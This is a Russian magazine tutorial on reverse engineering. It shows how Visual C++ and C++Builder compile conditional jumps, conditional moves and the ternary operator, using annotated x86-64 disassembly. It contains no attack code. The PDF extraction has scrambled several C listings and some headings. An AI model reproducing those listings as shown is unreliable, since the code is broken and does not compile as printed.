Мик ропро цес соры серии 80x86 под держи вают мно жес тво условных команд,
которые в общем слу чае не отоб ража ются на опе рации отно шения, а потому
и ред ко исполь зуют ся ком пилято рами (мож но даже ска зать — вооб ще
не исполь зуют ся), но зато час то встре чают ся в ассем блер ных встав ках. Сло- 
вом, они зас лужива ют хотя бы бег лого упо мина ния.

Êîìàíäû óñëîâíîãî ïåðåõîäà

По мимо опи сан ных в табл. 1, сущес тву ют дру гие условные перехо ды, сре ди
них: , , , ,  (он же ),  (он же ),  и . Из них

толь ко  и  име ют непос редс твен ное отно шение к опе раци ям срав- 

нения. Опти мизи рующие ком пилято ры могут заменять конс трук цию

JCXZ JECXZ JO JNO JP JPE JNP JPO JS JNS
JCXZ JECXZ

CMP [E]CX, 0 
JZ do_it 

бо лее корот ким экви вален том:

J[E]CX do_it 

Од нако чаще все го они (из-за огра ничен ности интеллек та и лени сво их раз- 
работ чиков) это го не дела ют.

Ус ловные перехо ды  и  исполь зуют ся в основном в матема тичес ких

биб лиоте ках для обра бот ки чисел боль шой раз ряднос ти (нап ример, 1024-
бит ных целых).

JO JNS

Ус ловные перехо ды  и , помимо основно го сво его пред назна чения,

час то исполь зуют ся для быс трой про вер ки зна чения стар шего бита.

JS JNS

Ус ловные перехо ды  и  вооб ще прак тичес ки не исполь зуют ся, ну
раз ве что в экзо тич ных ассем блер ных встав ках.

JP JNP

Таб лица 4: вспо мога тель ные условные перехо ды

Êîìàíäû óñëîâíîé ïåðåñûëêè

На чиная с Pentium, про цес соры под держи вают коман ду условной пересыл ки
, пересы лающей зна чение из источни ка в при емник, если усло вие 

истинно. Это поз воля ет писать нам ного более эффектив ный код, не содер- 
жащий вет вле ний и укла дыва ющий ся в мень шее чис ло инс трук ций.

CMOVxx xx

Рас смот рим конс трук цию . Срав ни, как она тран сли рует- 

ся с исполь зовани ем условных перехо дов (1) и коман ды условной пересыл ки
(2):

IF a<b THEN a=b

 

 

 
 

 
 

1)         2)
CMP A,B        CMP A,B
JAE continue:    CMOVB A,B
MOV A,B
continue:

В табл. 5 дано крат кое, но впол не дос таточ ное для дизас сем бли рова ния
прог рамм опи сание команд семей ства . За более под робны ми разъ- 

ясне ниями обра щай ся к с. 251  от Intel.

CMOVxx
спра воч ного руководс тва

Таб лица 5: основные коман ды условной пересыл ки

Áóëåâû ñðàâíåíèÿ

Ло гичес кой лжи ( ) соот ветс тву ет зна чение ноль, а логичес кой исти не

( ) — любое ненуле вое зна чение. Таким обра зом, булевы отно шения сво- 

дят ся к опе рации срав нения зна чения перемен ной с нулем. Конс трук ция 

 тран сли рует ся в .

FALSE
TRUE

IF (
a) THEN do_it IF (a!=0) THEN do_it

Прак тичес ки все ком пилято ры заменя ют инс трук цию  более

корот кой коман дой  или . Во всех слу чаях, если , уста- 

нав лива ется флаг нуля и наобо рот.

CMP A, 0
TEST A,A OR A,A A==0

По это му, встре тив в дизас сем блер ном тек сте конс трук цию

TEST EAX, EAX 
JZ do_it 

мож но с уве рен ностью утвер ждать, что мы име ем дело с булевым срав нени- 
ем.

ÈÒÎÃÈ

В сегод няшней статье мы научи лись при менять и выяв лять ряд ассем блер ных
команд, пос тепен но добав ляемых в язык сбор ки на про тяже нии мно гих
десяти летий — за вре мя неп рекра щающе гося раз вития мик ропро цес соров
серии x86. Таким обра зом мы не толь ко рас смот рели сос тояние мик ропро- 
цес сора нас тояще го вре мени, но и, вер нувшись к его исто кам, взгля нули
на его пра роди теля с соп роцес сором и уста рев шей сис темой команд.

Мы научи лись раз бирать слож ные усло вия на отдель ные ком понен ты, тем
самым облегчая себе жизнь при ана лизе прог рамм, изу чили раз личия бинар- 
ного кода, генери руемо го раз ными ком пилято рами на осно ве одно го и того
же исходни ка, уви дели, как с помощью усло вий мож но опре делять типы
чисел. Острой темой ста ли раз личные механиз мы работы с целыми и вещес- 
твен ными зна чени ями.

В сле дующей статье мы про дол жим наш увле катель ный зап лыв в оке ане
условных опе рато ров, научим ся иден тифици ровать тер нарный опе ратор,
рас смот рим мас су слож ных при меров, так же отно сящих ся к сегод няшней
статье, и поп робу ем свои силы в опти миза ции вет вле ний напере кор ком- 
пилято ру.

https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-2a-manual.html
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ВЗЛОМ

Се год ня тебя ждет мас са прак тичес ких при меров — дизас- 
сем бли рован ных лис тингов, на которых мы будем изу чать
пред став ление условных перехо дов раз личны ми ком пилято- 
рами. Таким обра зом, ты узна ешь, как вет вле ние исполь- 
зует ся в сов ремен ных прог раммах и как за ним сле дить
при обратной раз работ ке.

Фундаментальные основы хакерства
Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова- 
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта- 
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

Се год няшняя статья — про дол жение , если ее не про читать,
разоб рать ся в коде будет труд новато. Что ж, про дол жим наш зап лыв в оке ан
усло вий, вет вле ний, отно шений и ком про мис сов.

пре дыду щей
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Конс трук ция  язы ка C в общем слу чае тран- 
сли рует ся так: , одна ко

резуль тат ком пиляции обе их конс трук ций, воп реки рас простра нен ному мне- 
нию, не всег да иден тичен. Опе ратор  зна читель но лег че под дает ся опти- 

миза ции, чем вет вле ние . Покажем это на сле дующем при- 
мере:

a=(условие)?do_it:continue
IF (условие) THEN a=do_it ELSE a=continue

?:
IF — THEN — ELSE

#include <iostream>

 int main() {
  int a = -2;
 2 int b = ;

 a  a  0= ( > ) ? 1 : -1; // Тернарный оператор 

  b  0if ( > ) // Ветвление 
 1   b = ;

 else
b     = -1;

   std::cout << "a + b = " << a + b;
}

Ес ли про пус тить эту прог рамму сквозь ком пилятор Microsoft Visual C++
2022 с отклю чен ной опти миза цией, на выходе получим такой код:

; int __cdecl main(int argc, const char **argv, const char **envp)
  main            proc near ; CODE XREF: __scrt_common_main_seh+107↓p

                         ; DATA XREF: .pdata:ExceptionDir↓o
; Четыре локальные переменные

   var_18          = dword ptr -18h
   var_14          = dword ptr -14h
   var_10          = dword ptr -10h
   var_C           = dword ptr -0Ch

; Резервируем место для локальных переменных
                     sub rsp, 38h

; Инициализация локальных переменных:
; var_14 присваиваем -2, компилятор выразил отрицательное число
; сверхбольшим положительным

                     mov [rsp+38h+var_14], 0FFFFFFFEh
; var_18 присваиваем 2, здесь все прямолинейно

                     mov [rsp+38h+var_18], 2
; Сравниваем переменную var_14 с 0

                     cmp [rsp+38h+var_14], 0
; Переход по метке, если в результате предыдущего сравнения первый 
операнд меньше второго или равен ему

                      jle short loc_140001025 ; В нашем случае все 
сходится, делаем прыжок

                     mov [rsp+38h+var_10], 1
                     jmp short loc_14000102D

; --------------------------------------
loc_140001025:                          ; CODE XREF: main+19↑j
; Делаем переход сюда

                      mov [rsp+38h+var_10], 0FFFFFFFFh ; var_10 
присваиваем -1
loc_14000102D:                          ; CODE XREF: main+23↑j

                     mov eax, [rsp+38h+var_10]
                      mov [rsp+38h+var_14], eax ; var_14 = -1

; Сравниваем var_18 с 0, припоминаем или прокручиваем экран 
дизассемблера вверх,
; в var_18 помещено значение 2

                     cmp [rsp+38h+var_18], 0
; Переход по метке, если в результате предыдущего сравнения первый 
операнд меньше второго или равен ему

                      jle short loc_140001046 ; В данном случае карты 
не сходятся, поэтому продолжаем выполнение

                      mov [rsp+38h+var_18], 1 ; Переменной var_18 
присваиваем значение 1

                      jmp short loc_14000104E ; Безусловный переход
; --------------------------------------
loc_140001046:                          ; CODE XREF: main+3A↑j

                     mov [rsp+38h+var_18], 0FFFFFFFFh
loc_14000104E:                          ; CODE XREF: main+44↑j
; Прыгаем сюда

                      mov eax, [rsp+38h+var_18] ; EAX = 1
                      mov ecx, [rsp+38h+var_14] ; ECX = -1
                     add ecx, eax              ; -1 + 1
                     mov eax, ecx
                       mov [rsp+38h+var_C], eax ; Переменной var_C 

присваиваем сумму — значение 0
; Готовим параметры

                     lea rdx, _Val       ; "a + b = "
      

  
               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout ; _Ostr
; Вызываем оператор << для вывода строки

    
   

               call std::operator<<<std::char_traits<char>>(std::
basic_ostream<char,std::char_traits<char>> &,char const *)

                     mov ecx, [rsp+38h+var_C]
                     mov edx, ecx
                     mov rcx, rax

; Вызываем оператор << для вывода числа
                   call cs:std::basic_ostream<char,std::char_traits<

char>>::operator<<(int)
                      xor eax, eax ; Возвращаем 0
                      add rsp, 38h ; Восстанавливаем стек

               retn
main            endp

Во дела! Ком пилятор оба условных опе рато ра ском пилил в оди нако вый код!
Теперь переве дем ком пилятор в режим мак сималь ной опти миза ции с при- 
ори тетом по ско рос ти — , про изве дем ком пиляцию, откро ем резуль тат

в дизас сем бле ре и пос мотрим на резуль тат:

/O2

 main            proc near
                     sub rsp, 28h
      

  
               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout ; _Ostr

    
   

               call std::operator<<<std::char_traits<char>>(std::
basic_ostream<char,std::char_traits<char>> &,char const *)

                     mov rcx, rax
                     xor edx, edx
                   call cs:std::basic_ostream<char,std::char_traits<

char>>::operator<<(int)
                     xor eax, eax
                     add rsp, 28h

               retn
main            endp

Что за чер товщи на?! Здесь не оста лось никаких условнос тей! Даже если
вклю чить режим опти миза ции с при ори тетом раз мера — , ничего не изме- 
нит ся. Ком пилятор заоп тимизи ровал все что мож но!

/O1

А что нам про демонс три рует C++Builder? Сна чала без опти миза ции:

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main

 main            proc near               ; DATA XREF: __acrtused+29↑o
   var_20          = qword ptr -20h
   var_18          = dword ptr -18h
   var_14          = dword ptr -14h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

; Открываем кадр стека
                   push rbp

; Выделяем память под локальные переменные
                     sub rsp, 40h

; Запоминаем адрес дна стека
                     lea rbp, [rsp+40h]
                      mov eax, 0FFFFFFFFh ; EAX = -1
                     mov r8d, 1          ; R8D = 1

; Инициализация локальных переменных
                     mov [rbp+var_4], 0
                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx
                      mov [rbp+var_14], 0FFFFFFFEh ; var_14 = -2
                     mov [rbp+var_18], 2          ; var_18 = 2
                     mov ecx, [rbp+var_14]        ; ECX = -2

; Сравниваем ECX с 0
                     cmp ecx, 0

Ага! Исполь зует ся коман да условной пересыл ки (за под робнос тями обра тись
к ): G зна чит Greater. Дру гими сло вами, дан ные копиру- 
ются, если пер вый опе ранд боль ше вто рого (в таком слу чае фла ги  и 

рав ны 0). В нашем слу чае усло вие не выпол няет ся, так как -2 < 0, поэто му
зна чение из регис тра  в регистр  не копиру ется.

пре дыду щей статье
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R8D EAX

                 cmovg eax, r8d
                    mov [rbp+var_14], eax ; var_14 = -1

; Сравнение var_18 с 0
                     cmp [rbp+var_18], 0

; Переход по метке, если в результате предыдущего сравнения первый 
операнд меньше второго или равен ему

                      jle short loc_4013ED ; В данном случае карты не 
сходятся (2 > 0), поэтому продолжаем выполнение

                      mov [rbp+var_18], 1 ; var_18 = 1
                      jmp short loc_4013F4 ; Безусловный прыжок

; --------------------------------------
loc_4013ED:                             ; CODE XREF: main+42↑j

                     mov [rbp+var_18], 0FFFFFFFFh
loc_4013F4:                             ; CODE XREF: main+4B↑j
; Безусловный прыжок сюда
; Подготовка параметров для вызова оператора вывода

                     lea rcx, a008_free_list
                     lea rdx, aAB        ; "a + b = "

; Вывод строки оператором <<
    

 
               call
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::
operator<<<std::char_traits<char>>(std::basic_ostream<char,std::
char_traits<char>> &,char const*)

                      mov r8d, [rbp+var_14] ; R8D = -1
                      add r8d, [rbp+var_18] ; R8D = -1 + 1

; Готовим параметры для вызова оператора вывода
                     mov rcx, rax
                     mov edx, r8d

; Вывод числа (суммы) оператором <<
                   call _ZNSolsEi       ; std::ostream::operator<<(

int)
                     mov [rbp+var_4], 0
                     mov [rbp+var_20], rax

; Возвращаем 0
                     mov eax, [rbp+var_4]

; Восстанавливаем стек
                     add rsp, 40h

; Закрываем кадр стека
                    pop rbp

               retn
main            endp

Бы ло инте рес но уви деть резуль тат работы C++Builder, в осо бен ности исполь- 
зование коман ды условной пересыл ки, которая поз волила умень шить
количес тво условных перехо дов с двух до одно го. За под робнос тями обра- 
тись к под готов ленно му Visual C++ неоп тимизи рован ному дизас сем блер ному
лис тингу, что бы уви деть оба условных перехо да в дей ствии.

Как же выг лядит опти мизи рован ный код от C++Builder?

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main

 main            proc near               ; DATA XREF: __acrtused+29↑o
                   push rbp

                     sub rsp, 20h
                     lea rbp, [rsp+20h]
                     lea rcx, xmmword_461078
                     lea rdx, aAB        ; "a + b = "
    

  
               call std::operator<<<std::char_traits<char>>(std::
basic_ostream<char,std::char_traits<char>> &,char const*)

                     xor edx, edx
                     mov rcx, rax
                   call std::ostream::operator<<(int)

                     xor eax, eax
                     add rsp, 20h
                    pop rbp

               retn
main            endp

Выг лядит он поч ти так же, как опти мизи рован ный лис тинг от Visual C++, — все
без остатка заоп тимизи рова но! Раз бирать тут нечего, все и так понят но.
Идем даль ше!

Меж ду про чим, с точ ки зре ния язы ка C/C++ тер нарный опе ратор 

выгод но отли чает ся от вет вле ния тем, что может непос редс твен но исполь- 
зовать ся в таких выраже ниях:

?:

#include <stdio.h>

 int main() {
  int a = -1;

 , a  0  ?  : printf("Hello, %s\n" ( > ) "Sailor" "World!");
}

Поп робуй нас толь ко же ком пак тно реали зовать это с помощью вет вле ний!
Но на самом деле это удобс тво лишь внеш нее, а ком пилятор тран сли рует
при веден ный выше при мер таким обра зом:

#include <stdio.h>

 int main() {
 1 int a = ;

 p char* ;
  static char s0[] = "Sailor";
  static char s1[] = "World";

  a  0  p  s0  p  s1if ( > ) = ; else = ;
 , pprintf("Hello, %s\n" );
}

От компи лируй оба лис тинга и дизас сем бли руй получен ные фай лы. Они дол- 
жны быть иден тичны.

Та ким обра зом, при деком пиляции прог рамм на С/С++ в общем слу чае
невоз можно ска зать, исполь зовалось ли в них вет вле ние или тер нарный опе- 
ратор. Одна ко все же есть зацеп ки, которые помога ют вос ста новить
истинный вид исходно го тек ста в час тных слу чаях.

Нап ример, малове роят но, что бы прог раммист стро ил свой лис тинг,
как показа но в пос леднем при мере. Зачем вво дить ста тичес кие перемен ные
и слож ным спо собом манипу лиро вать с ука зате лем, ког да про ще исполь- 
зовать тер нарный опе ратор вмес то вет вле ния?

Та ким обра зом, если тер нарный опе ратор глад ко ложит ся в деком пилиру- 
емую прог рамму, а вет вле ние не лезет в нее никаким боком, то оче вид но, что
в исходном тек сте исполь зовал ся имен но тер нарный опе ратор, а не вет вле- 
ние. Одна ко надо быть нас тороже: мало ли что взбре ло в ум прог раммис ту,
пока он писал код!

ÐÀÇÁÎÐ ÄÎÏÎËÍÈÒÅËÜÍÛÕ ÏÐÈÌÅÐÎÂ

А теперь, что бы луч ше уяс нить матери ал, рас смот ренный в этой и 
, давай раз берем нес коль ко живых при меров, откомпи лиро ван- 

ных раз личны ми ком пилято рами.

пре дыду- 
щей стать ях
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Нач нем с иссле дова ния эле мен тарных целочис ленных отно шений:

#include <stdio.h>

 int main() {
 1 int a = ;
 1 int b = ;

  if (a < b)
   printf("a < b\n");
  a  bif ( > )
   printf("a > b\n");
  a  bif ( == )
   printf("a == b\n");
  a  bif ( != )
   printf("a != b\n");
  a  bif ( >= )
   printf("a >= b\n");
   bif (a <= )
   printf("a <= b\n");
}

Ре зуль тат ком пиляции это го при мера ком пилято ром Microsoft Visual C++
2022 дол жен выг лядеть так:

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:
0000000140004018↓o

   var_18          = dword ptr -18h
   var_14          = dword ptr -14h

; Резервируем память под локальные переменные
                     sub rsp, 38h

; Инициализируем локальные переменные
                     mov [rsp+38h+var_14], 1
                     mov [rsp+38h+var_18], 1
                      mov eax, [rsp+38h+var_18] ; EAX = var_18

; Сравниваем значение переменной var_14 со значением переменной 
var_18

                     cmp [rsp+38h+var_14], eax

Ес ли  (наш слу чай), то выпол няет ся переход на мет ку
, ина че — печать стро ки. Обра ти вни мание, что ори гиналь ный

код выг лядел так:

var_14 >= var_18
loc_14000110A

  if (a < b) printf("a < b\n");

То есть ком пилятор инверти ровал усло вие!
Зна ковая опе рация  говорит нам о том, что срав нива емые перемен ные

 и  — зна ковые.

JGE
var_14 var_18

                 jge short loc_14000110A
                     lea rcx, _Format ; "a < b\n"
               call printf

loc_14000110A:                          ; CODE XREF: main+1C↑j
; Делаем сюда переход, когда var_14 и var_18 равны (наш случай)

                     mov eax, [rsp+38h+var_18]
; Снова сравниваем var_14 и var_18

                     cmp [rsp+38h+var_14], eax

Вы пол няем переход, если  (наш слу чай), в про тив ном слу- 
чае печата ем стро ку. Сле дова тель но, стро ка печата ется, ког да 

 или . Тог да исходный код прог раммы дол жен выг- 

лядеть так:

var_14 <= var_18
!(var_14 <= 

var_18) var_14 > var_18

 a  b  if ( > ) printf("a > b\n");

Рас смот рим сле дующий фраг мент кода.

                 jle short loc_140001120
                 lea rcx, aAB_0      ; "a > b\n"
               call printf

loc_140001120:                          ; CODE XREF: main+32↑j
; Делаем сюда переход, когда var_14 и var_18 равны (наш случай)

                     mov eax, [rsp+38h+var_18]
; Снова сравниваем var_14 и var_18

                     cmp [rsp+38h+var_14], eax

Пры гаем, если  (не наш слу чай). У нас же 

, поэто му про пус каем переход и печата ем стро ку. Ори гиналь ный код

прог раммы выг лядел сле дующим обра зом:

var_14 != var_18 var_14 == 
var_18

 a  b  if ( == ) printf("a == b\n");

Дви гаем ся даль ше.

                 jnz short loc_140001136
                 lea rcx, aAB_1      ; "a == b\n"
               call printf

loc_140001136:                          ; CODE XREF: main+48↑j
; Плавно продолжаем выполнение программы здесь

                     mov eax, [rsp+38h+var_18]
; Вновь сравниваем var_14 и var_18

                     cmp [rsp+38h+var_14], eax

Пе рехо дим, ког да  (наш слу чай), ина че печата ем стро ку.

Ори гиналь ный код прог раммы выг лядел так:

var_14 == var_18

 a  b  if ( != ) printf("a != b\n");

Продолжение статьи →
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ОСНОВЫ ХАКЕРСТВА
ИЗУЧАЕМ УСЛОВНЫЕ ПЕРЕХОДЫ
В ОБРАБОТКЕ СОВРЕМЕННЫМИ

КОМПИЛЯТОРАМИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Еще один фраг мент:

            jz      short loc_14000114C
                 lea rcx, aAB_2      ; "a != b\n"
               call printf

loc_14000114C:                          ; CODE XREF: main+5E↑j
; Делаем прыжок сюда

                     mov eax, [rsp+38h+var_18]
; Сравниваем var_14 и var_18 в очередной раз

                     cmp [rsp+38h+var_14], eax

Пе рехо дим, ког да  (не наш слу чай), в про тив ном слу чае

про дол жаем выпол нение и печата ем стро ку, что мы и дела ем. А ори гиналь- 
ный код имел сле дующий вид:

var_14 < var_18

 a  b  if ( >= ) printf("a >= b\n");

Те перь рас смот рим такой код:

            jl      short loc_140001162
                 lea rcx, aAB_3      ; "a >= b\n"
               call printf

loc_140001162:                          ; CODE XREF: main+74↑j
; Продолжаем последовательное выполнение в этой части программы

                     mov eax, [rsp+38h+var_18]
; Сравниваем var_14 и var_18 в последний раз!

                     cmp [rsp+38h+var_14], eax

Пе рехо дим на мет ку, если  (не наш слу чай), ина че про дол- 

жаем выпол нение и печата ем стро ку, что мы и дела ем. А ори гиналь ный код
имел такой вид:

var_14 > var_18

  b  if (a <= ) printf("a <= b\n");

            jg      short loc_140001178
                 lea rcx, aAB_4      ; "a <= b\n"
               call printf

loc_140001178:                          ; CODE XREF: main+8A↑j
; Продолжаем последовательное выполнение в этой части программы
; Возвращаем 0

                     xor eax, eax
; Восстанавливаем стек

                     add rsp, 38h
; Закрываем кадр стека
               retn
main            endp

Об рати вни мание: во всех слу чаях ком пилятор инверти ровал усло вия!
Обсуждая это выше, мы отме тили, что такие опе рации он дела ет в целях опти- 
миза ции.

Ре зуль тат выпол нения прог раммы int_compare_vc

Âåùåñòâåííûå îòíîøåíèÿ

Microsoft Visual C++

А теперь сме ним тип срав нива емых перемен ных с  на  и пос мотрим,
как это пов лияет на сге нери рован ный код. Резуль тат ком пиляции Microsoft
Visual C++ дол жен выг лядеть так:

int float

 main            proc near
   var_18          = dword ptr -18h
   var_14          = dword ptr -14h
                     sub rsp, 38h

Для ини циали зации регис тро вых и локаль ных перемен ных на этот раз исполь- 
зует ся инс трук ция , она пред назна чена для копиро вания чисел с пла- 

вающей запятой оди нар ной точ ности.

MOVSS

                   movss xmm0, cs:__real@3dcccccd
                   movss [rsp+38h+var_14], xmm0
                   movss xmm0, cs:__real@3dcccccd
                   movss [rsp+38h+var_18], xmm0
                   movss xmm0, [rsp+38h+var_18]

На этот раз для срав нения чисел так же исполь зует ся дру гая инс трук ция —
из про цес сорно го рас ширения SSE2, пред назна чен ная для работы с вещес- 
твен ными чис лами. Эти коман ды мы уже про ходи ли: что бы осве жить их
в памяти, заг ляни в  в пре дыду щей статье.таб лицу 2

                  comiss xmm0, [rsp+38h+var_14]

За то за при нятие решения о перехо де на мет ку отве чают ста рые доб рые
коман ды условно го перехо да, которые опи рают ся на биты регис тра фла гов
основно го про цес сора. Надо понимать, что в сов ремен ных мно гоядер ных
про цес сорах каж дое ядро содер жит такой механизм.

Инс трук ция  выпол няет переход на мет ку , ког да пер вый

опе ранд пре дыду щего срав нения мень ше вто рого или равен ему (наш слу- 
чай), ина че стро ка выводит ся на кон соль. Заметь, в дан ном слу чае усло вие
не инверти рова но, но к нему добав лено усло вие равенс тва.

JBE loc_140001119

                 jbe short loc_140001119
                     lea rcx, _Format ; "a < b\n"
               call printf

loc_140001119:                          ; CODE XREF: main+2B↑j
                   movss xmm0, [rsp+38h+var_14]
                  comiss xmm0, [rsp+38h+var_18]

; Здесь все то же самое, что в предыдущем блоке кода
                     jbe short loc_140001132
                     lea rcx, aAB_0      ; "a > b\n"
                   call printf

loc_140001132:                          ; CODE XREF: main+44↑j
                   movss xmm0, [rsp+38h+var_14]

Сле дующей инс трук цией вновь срав нива ются перемен ные  и ,

но на этот раз коман дой неупо рядо чен ного срав нения. Допол нитель ные све- 
дения смот ри в раз деле « » прош лой статьи.

var_14 var_18

Срав нение вещес твен ных чисел

               ucomiss xmm0, [rsp+38h+var_18]

; Переходит на метку, если возведен флаг четности PF
                jp      short loc_14000114D

; Переходит на метку, если сброшен флаг нуля
; Обрати внимание: переходы ведут на одну и ту же метку

                     jnz short loc_14000114D
; В нашем случае оба условия не выполняются, и мы выводим строку на 
экран

                     lea rcx, aAB_1      ; "a == b\n"
                   call printf

loc_14000114D:                          ; CODE XREF: main+5D↑j
                                       ; main+5F↑j

                   movss xmm0, [rsp+38h+var_14]
                 ucomiss xmm0, [rsp+38h+var_18]

; В рассматриваемом случае при предыдущем сравнении чисел флаг 
четности не устанавливается

                jp      short loc_14000115C
; Зато устанавливается флаг нуля ZF = 1, поэтому переходим на эту 
метку

                jz      short loc_140001168
loc_14000115C:                          ; CODE XREF: main+78↑j

                     lea rcx, aAB_2      ; "a != b\n"
                   call printf

loc_140001168:                          ; CODE XREF: main+7A↑j
                   movss xmm0, [rsp+38h+var_14]
                  comiss xmm0, [rsp+38h+var_18]

; Сравниваем var_14 и var_18, переход не делаем, так как наши числа 
равны,
; а он происходит в случае, когда первый операнд меньше второго

                jb      short loc_140001181
                     lea rcx, aAB_3      ; "a >= b\n"
                   call printf

loc_140001181:                          ; CODE XREF: main+93↑j
                   movss xmm0, [rsp+38h+var_18]
                  comiss xmm0, [rsp+38h+var_14]

; Все то же самое, поэтому пропускаем переход и выводим строку
                jb      short loc_14000119A

                     lea rcx, aAB_4      ; "a <= b\n"
                   call printf

loc_14000119A:                          ; CODE XREF: main+AC↑j
; Возвращаем ноль

                     xor eax, eax
                     add rsp, 38h

               retn
main            endp

Из менений в срав нении с прог раммой целочис ленных чисел не ска зать что
мно го, но они весь ма сущес твен ны. Глав ным обра зом это исполь зование
дру гих инс трук ций, пред назна чен ных для вещес твен ных чисел.

Embarcadero C++Builder

Бес спор но, рас смот ренный при мер инте ресен, но гораз до наг ляднее будет
изу чить код, сге нери рован ный ком пилято ром C++Builder:

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main

 main            proc near               ; DATA XREF: __acrtused+29↑o
; Объявлена куча бесполезных переменных

   var_30          = dword ptr -30h
   var_2C          = dword ptr -2Ch
   var_28          = dword ptr -28h
   var_24          = dword ptr -24h
   var_20          = dword ptr -20h
   var_1C          = dword ptr -1Ch
   var_18          = dword ptr -18h
   var_14          = dword ptr -14h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

; Манипулирование с кадром стека
                   push rbp

                     sub rsp, 50h
                     lea rbp, [rsp+50h]

; Инициализация переменных, из выполняющих это операций можно 
однозначно определить тип переменных

                   movss xmm0, cs:dword_44D000
                     mov [rbp+var_4], 0
                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx

                   movss [rbp+var_14], xmm0
                   movss [rbp+var_18], xmm0
                   movss xmm0, [rbp+var_14]
                   movss xmm1, [rbp+var_18]

; C++Builder для сравнения вещественных чисел использует команду 
неупорядоченного сравнения...

                 ucomiss xmm1, xmm0
; ...на основе чего производит переход — это нам уже знакомо

                     jbe short loc_401448
                     lea rcx, aAB        ; "a < b\n"
                   call printf

                     mov [rbp+var_1C], eax
loc_401448:                             ; CODE XREF: main+37↑j

                   movss xmm0, [rbp+var_14]
                 ucomiss xmm0, [rbp+var_18]

                     jbe short loc_401462
                     lea rcx, aAB_0      ; "a > b\n"
                   call printf

                     mov [rbp+var_20], eax
loc_401462:                             ; CODE XREF: main+51↑j

                   movss xmm0, [rbp+var_14]
                 ucomiss xmm0, [rbp+var_18]

; Оба нижеследующих перехода ведут к одной метке
                     jnz short loc_40147E

                jp      short loc_40147E
                     lea rcx, aAB_1      ; "a == b\n"
                   call printf

                     mov [rbp+var_24], eax
loc_40147E:                             ; CODE XREF: main+6B↑j
                                       ; main+6D↑j

                   movss xmm0, [rbp+var_14]
                 ucomiss xmm0, [rbp+var_18]

; В этом блоке кода имеем три перехода, два из которых ведут к одной 
метке

                     jnz short loc_40148D
                jp      short loc_40148D

                     jmp short loc_40149C
; --------------------------------------
loc_40148D:                             ; CODE XREF: main+87↑j
                                       ; main+89↑j

                     lea rcx, aAB_2      ; "a != b\n"
                   call printf

                     mov [rbp+var_28], eax
loc_40149C:                             ; CODE XREF: main+8B↑j

                   movss xmm0, [rbp+var_14]
                 ucomiss xmm0, [rbp+var_18]

                jb      short loc_4014B6
                     lea rcx, aAB_3      ; "a >= b\n"
                   call printf

                     mov [rbp+var_2C], eax
loc_4014B6:                             ; CODE XREF: main+A5↑j

                   movss xmm0, [rbp+var_14]
                   movss xmm1, [rbp+var_18]
                 ucomiss xmm1, xmm0

                jb      short loc_4014D4
                     lea rcx, aAB_4      ; "a <= b\n"
                   call printf

                     mov [rbp+var_30], eax
loc_4014D4:                             ; CODE XREF: main+C3↑j

                     mov [rbp+var_4], 0
                     mov eax, [rbp+var_4]
                     add rsp, 50h
                    pop rbp

               retn
main            endp

Как мож но видеть, под готов ленный C++Builder код не силь но отли чает ся
от такого же, изго тов ленно го Visual C++. Из раз личий заметен избы ток
локаль ных перемен ных и явный изли шек ненуж ных перехо дов.

INFO

Нель зя ска зать навер няка, какой ком пилятор
генери рует луч ший код: Visual C++
или C++Builder. В каких-то при мерах C++Builder
раду ет, исполь зуя коман ды условной пересыл ки
вмес то условных перехо дов, а в дру гих — огор- 
чает, встав ляя кучу ненуж ных локаль ных перемен- 
ных и перехо дов.
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Те перь, налов чившись на иден тифика ции эле мен тарных усло вий, перей дем
к вещам по-нас тояще му слож ным.

Рас смот рим сле дующий при мер:

#include <stdio.h>

 int main() {
 0 unsigned int a = ;
 2 unsigned int b = ;

 1 int c = ;
  int d = -1;

  dif ( )
   printf("TRUE\n");
  a  b   a  0   a  c   c  0else if ((( > ) && ( != )) || (( == ) && ( != )))
   printf("OK\n");

  c  dif ( == )
   printf("+++\n");
}

Ре зуль тат его ком пиляции дол жен выг лядеть приб лизитель но так (для боль- 
шей наг ляднос ти в дизас сем блер ном лис тинге я изме нил име на перемен ных
с ничего не говоря щих ,  и так далее на пря мое соот ветс твие

име нам перемен ных из исходно го C-кода: , ):

var_10 var_14
var_c var_b

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:
0000000140004018↓o
; Четыре локальные переменные, имеющие зеркальное отражение имен 
переменных из листинга программы на языке высокого уровня

   var_a          = dword ptr -18h
   var_c          = dword ptr -14h
   var_d          = dword ptr -10h
   var_b           = dword ptr -0Ch

; Резервирование места для локальных переменных
                     sub rsp, 38h

; Инициализация локальных переменных
                     mov [rsp+38h+var_a], 0
                     mov [rsp+38h+var_b], 2
                     mov [rsp+38h+var_c], 1
                      mov [rsp+38h+var_d], 0FFFFFFFFh ; -1

; Сравнение значения переменной var_d с нулем
                     cmp [rsp+38h+var_d], 0

; Если переменная var_d равна нулю, переход к метке loc_140001119, 
иначе печать строки TRUE

                jz      short loc_140001119

Схе мати чес ки это мож но изоб разить так.

                       lea rcx, _Format ; "TRUE\n"
                 call printf

